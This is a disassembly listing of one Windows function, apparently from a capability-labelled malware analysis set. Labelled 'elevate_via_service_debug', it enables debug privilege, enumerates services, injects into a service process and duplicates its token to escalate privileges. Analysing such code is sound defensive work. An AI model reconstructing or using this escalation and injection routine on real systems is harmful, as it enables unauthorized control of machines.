Function at 0x180007010
Capabilities:
Acquire debug privileges
Enumerate services
Query service status

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
xor r12d, r12d
xor eax, eax
mov rbx, rdx
lea rcx, [rbp - 0x4f]
lea r8d, [r12 + 0x7f]
xor edx, edx
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov esi, r12d
mov r14d, r12d
mov r13d, r12d
mov dword [rsp + 0x78], r12d
mov qword [rsp + 0x7c], rax
mov qword [rbp - 0x7c], rax
mov qword [rbp - 0x74], rax
mov qword [rbp - 0x6c], rax
mov byte [rbp - 0x50], al
call fcn.1800084f0
lea rcx, [rbp + 0x34]
xor edx, edx
mov r8d, 0x90
mov dword [rbp + 0x30], r12d
call fcn.1800084f0
mov rax, qword [0x180025ea8]
mov rcx, rbx
mov dword [rbp + 0x120], r12d
mov dword [rbp + 0x128], r12d
mov dword [rsp + 0x48], r12d
call qword [rax + 0x120]
mov qword [rsp + 0x60], rax
call fcn.1800014c0
cmp eax, 1
je 0x1800070dd
mov ebx, 0xa
lea rdx, str._ELEVATE__elevate_via_service_debug._Unsuported_platform
lea rcx, [0x180018d60]
mov r9d, ebx
mov r8d, ebx
call fcn.180006f40
jmp 0x1800075da
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x30], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180007118
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._ELEVATE__elevate_via_service_debug:_GetVersionEx_failed
lea rcx, [0x180018d60]
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.180006f40
jmp 0x1800075da
cmp dword [rbp + 0x34], 4
jne 0x180007146
cmp dword [rbp + 0x38], esi
jne 0x180007146
mov ebx, 0xa
lea rdx, str._ELEVATE__elevate_via_service_debug:_Not_yet_supported_on_this_platform.
lea rcx, [0x180018d60]
mov r9d, ebx
mov r8d, ebx
call fcn.180006f40
jmp 0x1800075da
mov rax, qword [0x180025ea8]
mov edx, 0x14ee9
mov rcx, rbx
mov qword [rsp + 0x218], rdi
call qword [rax + 0xc8]
mov rax, qword [0x180025ea8]
mov edx, 0x24eeb
mov rcx, rbx
call qword [rax + pe_nt_image_headers64]
mov edx, 0x14eea
mov rcx, rbx
mov edi, eax
mov dword [rsp + 0x4c], eax
mov rax, qword [0x180025ea8]
call qword [rax + 0xc8]
mov qword [rsp + 0x68], rax
test edi, edi
je 0x1800075b4
test rax, rax
je 0x1800075b4
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.180007a00
test eax, eax
jne 0x1800071d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._ELEVATE__elevate_via_service_debug._elevate_priv_SE_DEBUG_NAME_failed
mov ebx, eax
mov r9d, eax
mov r8d, eax
jmp 0x1800075c6
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r15, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x18000720d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._ELEVATE__elevate_via_service_debug._OpenSCManagerA_failed
mov ebx, eax
mov r9d, eax
mov r8d, eax
jmp 0x1800075c6
mov qword [rsp + 0x38], r12
xor r9d, r9d
lea rax, [rbp + 0x128]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x120]
lea edx, [r9 + 0x30]
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
mov rcx, r15
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x18000727a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
je 0x18000727a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._ELEVATE__elevate_via_service_debug._EnumServicesStatus_1_failed
lea rcx, [0x180018d60]
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.180006f40
jmp 0x18000759c
mov ebx, dword [rbp + 0x120]
mov ecx, ebx
call fcn.180008748
mov r13, rax
test rax, rax
jne 0x1800072b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._ELEVATE__elevate_via_service_debug._malloc_lpServices_failed
lea rcx, [0x180018d60]
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.180006f40
jmp 0x18000759c
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x128]
mov edx, 0x30
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x120]
lea r8d, [rdx - 0x2f]
mov qword [rsp + 0x28], rax
mov r9, r13
mov rcx, r15
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x180007315
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._ELEVATE__elevate_via_service_debug._EnumServicesStatus_2_failed
lea rcx, [0x180018d60]
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.180006f40
jmp 0x18000759c
mov ebx, 5
cmp dword [rbp + 0x128], esi
jbe 0x18000759c
nop word [rax + rax]
mov eax, r12d
mov r8d, 4
mov rcx, r15
lea rdi, [rax + rax*2]
add rdi, rdi
mov rdx, qword [r13 + rdi*8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov r15, rax
test rax, rax
je 0x18000750e
lea rax, [rbp + 0x120]
lea r8, [rsp + 0x78]
mov r9d, 0x24
xor edx, edx
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x180007505
cmp dword [rsp + 0x7c], 4
jne 0x180007505
mov r8d, dword [rbp - 0x6c]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x180007505
mov ecx, dword [rbp - 0x6c]
mov r9, qword [r13 + rdi*8]
mov r8, qword [r13 + rdi*8 + 8]
mov dword [rsp + 0x20], ecx
lea rcx, str._ELEVATE__elevate_via_service_debug._trying___d__lpDisplayName_s__lpServiceName_s__dwProcessId_d
mov edx, r12d
call fcn.180006f40
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x80
lea r9, str._t:0x_08X
lea rcx, [rbp - 0x50]
mov r8d, edx
mov dword [rsp + 0x20], eax
call fcn.180007d44
lea rax, [rbp - 0x50]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1800073f6
inc r8
xor edx, edx
mov r9d, 0x3000
mov rcx, rsi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x180007505
lea rax, [rbp - 0x50]
or r9, 0xffffffffffffffff
inc r9
cmp byte [rax + r9], 0
jne 0x180007430
lea r8, [rbp - 0x50]
inc r9
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180007505
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call fcn.180007830
mov r14, rax
test rax, rax
je 0x180007505
mov edx, 0x7530
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x180007505
lea rdx, [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x180007505
cmp dword [rsp + 0x48], 0
jne 0x180007505
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rsp + 0x40]
xor r8d, r8d
mov rcx, rax
mov edx, 0xf00ff
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x180007505
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_DuplicateToken]
test eax, eax
je 0x180007505
mov rax, qword [0x180025ea8]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rbp + 0x110]
call qword [rax + 0x180]
xor ebx, ebx
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x18000752f
lea rdx, [rbp - 0x5c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x18000752d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
test r14, r14
je 0x180007552
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x18000754f
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r14d, r14d
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x18000757e
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x180007575
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
test ebx, ebx
je 0x180007597
mov r15, qword [rsp + 0x58]
inc r12d
cmp r12d, dword [rbp + 0x128]
jb 0x180007330
mov r15, qword [rsp + 0x58]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test r13, r13
je 0x1800075d2
mov rcx, r13
call fcn.180007e28
jmp 0x1800075d2
mov ebx, 0xa0
lea rdx, str._ELEVATE__elevate_via_service_debug._invalid_arguments
mov r9d, ebx
mov r8d, ebx
lea rcx, [0x180018d60]
call fcn.180006f40
mov rdi, qword [rsp + 0x218]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
add rsp, 0x1d0
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rbx
pop rbp
ret